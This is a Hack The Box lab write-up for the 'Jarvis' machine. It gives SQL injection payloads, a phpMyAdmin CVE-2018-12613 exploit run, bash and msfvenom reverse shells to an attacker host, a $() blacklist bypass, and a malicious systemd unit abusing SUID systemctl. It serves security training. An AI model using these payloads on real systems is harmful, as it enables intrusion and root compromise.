Jarvis — Hack The Box
| Info | Value |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| IP | 10.10.10.143 |
| Hostname | jarvis.htb |
| Services | SSH (22), HTTP/Apache (80), HTTP/Apache (64999) |
Enumeration
Nmap
sudo nmap -Pn -sC -sV -p- -vvv -oA scan/nmap.scan jarvis.htbOpen ports:
- 22/tcp — OpenSSH 7.4p1
- 80/tcp — Apache 2.4.25 — Stark Hotel website
- 64999/tcp — Apache 2.4.25 — displays “Hey you have been banned for 90 seconds, don’t be bad”
Web Enumeration
Port 80 serves a hotel website (Stark Hotel). Custom header IronWAF 2.0.3 detected — behavioral WAF that monitors request patterns and bans IPs via iptables redirection to port 64999.
The application uses room.php?cod= to select and display individual hotel rooms — a dynamic parameter interacting with the database.
phpMyAdmin found at /phpmyadmin/ — version 4.8.0, vulnerable to CVE-2018-12613 (LFI → RCE). Requires authentication.
Foothold — SQL Injection in room.php
Deep dive: UNION-Based SQL Injection
Vulnerability
UNION-based SQL injection in
room.php?cod=parameter. The parameter is passed directly into a SQL query without sanitization. User-controlled input selects a room by ID and the result is reflected in the page HTML, enabling UNION-based data extraction.Structural root cause: unsanitized user input concatenated directly into SQL query. No parameterized queries or prepared statements.
Injection confirmation
GET /room.php?cod=1+AND+IF(1=1,SLEEP(5),0)
# Response delayed 5 seconds → confirmed injectable
Column count determination
GET /room.php?cod=1+ORDER+BY+7 → 200 OK
GET /room.php?cod=1+ORDER+BY+8 → different response
# 7 columns in the query
Reflected column identification
GET /room.php?cod=9999+UNION+SELECT+1,2,3,4,5,6,7
Non-existent cod=9999 forces empty original result. Numeric markers reveal which positions render in the page.
Database enumeration
GET /room.php?cod=9999+UNION+SELECT+NULL,GROUP_CONCAT(schema_name),NULL,NULL,NULL,NULL,NULL+FROM+information_schema.schemata
Credential extraction
GET /room.php?cod=9999+UNION+SELECT+NULL,GROUP_CONCAT(User,":",Password),NULL,NULL,NULL,NULL,NULL+FROM+mysql.user
Result: DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
MySQL SHA1 hash cracked via CrackStation: imissyou
phpMyAdmin access
Logged into phpMyAdmin at /phpmyadmin/ with credentials DBadmin:imissyou.
RCE via CVE-2018-12613 (LFI in phpMyAdmin 4.8.0)
Vulnerability — CVE-2018-12613
phpMyAdmin 4.8.0 — Local File Inclusion via the
targetparameter inindex.php. The LFI can be chained with SQL query execution to achieve RCE by including PHP session files that contain attacker-controlled SQL output.Structural root cause: insufficient validation of the
targetparameter allows path traversal using double URL-encoded?(%253f) to bypass the whitelist check. phpMyAdmin validates that thetargetparameter matches a known script name, but the%253fis decoded to%3fby Apache, then to?by PHP — splitting the path so the server includes the traversal path while phpMyAdmin sees a whitelisted script name.
Exploit used: exploit.py (CVE-2018-12613 RCE by samguy). The exploit chain:
- Authenticates to phpMyAdmin with
DBadmin:imissyou - Executes a SQL query that writes a PHP webshell (
<?php system("COMMAND") ?>) into the session data - Triggers the LFI via
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_SESSION_ID - The PHP session file is included and the embedded webshell executes the command
Reverse shell
bash -c for reverse shells through system()
The exploit executes a single command via
system(). To obtain an interactive reverse shell, the command must be wrapped inbash -c— without it, shell-specific syntax (redirections,>&,/dev/tcp) is interpreted bysystem()(which invokes/bin/sh) and fails silently.
python3 exploit.py 10.10.10.143 80 /phpmyadmin DBadmin imissyou 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1"'# Listener on attacker
nc -nvlp 443Shell obtained as www-data.
Lateral Movement — www-data → pepper
sudo -l as www-data
www-data@jarvis:$ sudo -l
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.pywww-data can run simpler.py as pepper without password.
Command injection in simpler.py
The script provides a ping functionality (-p flag) that takes a user-supplied IP address and passes it to os.system(). The vulnerable function:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)The blacklist filters &, ;, -, backticks, ||, and | — but does not filter $() command substitution.
Vulnerability
Command injection via
$()command substitution syntax. The filter blocks common shell operators but does not filter$(), which bash evaluates before passing to the command.Structural root cause: incomplete input validation — blacklist approach instead of whitelist. The script filters known-bad characters but misses
$()substitution syntax. A whitelist allowing only digits and dots ([0-9.]) would have prevented all injection vectors.
Exploitation
The - character is blacklisted, which blocks most reverse shell one-liners (nc -e, bash -i, etc.). Workaround: compile a static ELF binary that performs the reverse shell connection without needing - in its invocation.
# On attacker — create reverse shell binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f elf -o test.elf
# Transfer to target via wget (hosted with python3 -m http.server)# On target as www-data
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: <ATTACKER_IP>$(/tmp/test.elf)The $() substitution executes /tmp/test.elf as pepper before the ping command runs.
Reverse shell as pepper
nc -nvlp 443
# connect from target → shell as pepperUser flag:
pepper@jarvis:~$ cat user.txtFlag obtained.
Privilege Escalation — pepper → root
Enumeration as pepper
pepper@jarvis:$ sudo -l
# Requires password — no sudo access
pepper@jarvis:$ find / -perm -4000 -type f 2>/dev/null
/bin/systemctl ← SUID root
/bin/fusermount
/bin/mount
/bin/ping
/bin/umount
/bin/su
.../bin/systemctl has the SUID bit set — it runs with root privileges regardless of who executes it.
Vulnerability
SUID systemctl —
systemctlwith the SUID bit allows any user to create, enable, and start arbitrary systemd services that execute as root. An attacker creates a malicious.serviceunit withExecStartpointing to a reverse shell, enables it, and starts it — obtaining a root shell.Structural root cause:
systemctlshould never have the SUID bit. Systemd service management is a root-only operation by design. Setting SUID on this binary grants any local user the ability to define and execute arbitrary code as root through service unit files.
Malicious service creation
pepper@jarvis:/dev/shm$ cat root.service
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/9999 0>&1'
[Install]
WantedBy=multi-user.targetService activation
pepper@jarvis:/dev/shm$ /bin/systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service → /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service → /dev/shm/root.service.
pepper@jarvis:/dev/shm$ /bin/systemctl start rootRoot shell
nc -nvlp 9999
# connect from target → shell as rootroot@jarvis:~# cat /root/root.txtFlag obtained.
Attack Chain Summary
Nmap → 3 ports (22, 80, 64999)
↓
room.php?cod= → UNION SQLi → DBadmin:imissyou
↓
phpMyAdmin 4.8.0 → CVE-2018-12613 (LFI → RCE) → bash -c reverse shell → www-data
↓
sudo -u pepper simpler.py → command injection via $() → test.elf reverse shell → pepper
↓
SUID /bin/systemctl → malicious .service → reverse shell → root
Flags
- User: (obtained as pepper via command injection)
- Root: (obtained via SUID systemctl service abuse)
Lessons Learned
- UNION SQLi requires empty original result: if the original query returns data, the UNION row is silently discarded. Always use a non-existent ID (
cod=9999) to force the application to render injected data. See UNION-Based SQL Injection. - Blacklist filters are inherently incomplete: simpler.py blocked
&,;,-, backticks,|but missed$()command substitution. A whitelist ([0-9.]) would have been unbreakable. When encountering a blacklist, enumerate what’s allowed, not what’s blocked. - SUID binaries — always check GTFOBins: after
find / -perm -4000, cross-reference every result against GTFOBins. Open the SUID list and check each binary one by one. Standard binaries likemount,ping,suare expected SUID — anything else (likesystemctl) is immediately suspicious. bash -cfor shell syntax throughsystem(): PHP’ssystem()invokes/bin/sh, which may not support bash-specific syntax (>&,/dev/tcp). Wrapping inbash -c "..."ensures bash interprets the command.- ELF binaries bypass character blacklists: when a filter blocks
-or other characters essential for reverse shells, a precompiled binary (msfvenom ELF payload) needs no arguments — just execute it.
Timeline
- Total time:
- Where I spent the most time: SQL injection — understanding UNION-based extraction, GROUP_CONCAT, and cross-database querying
- Subjective difficulty: /10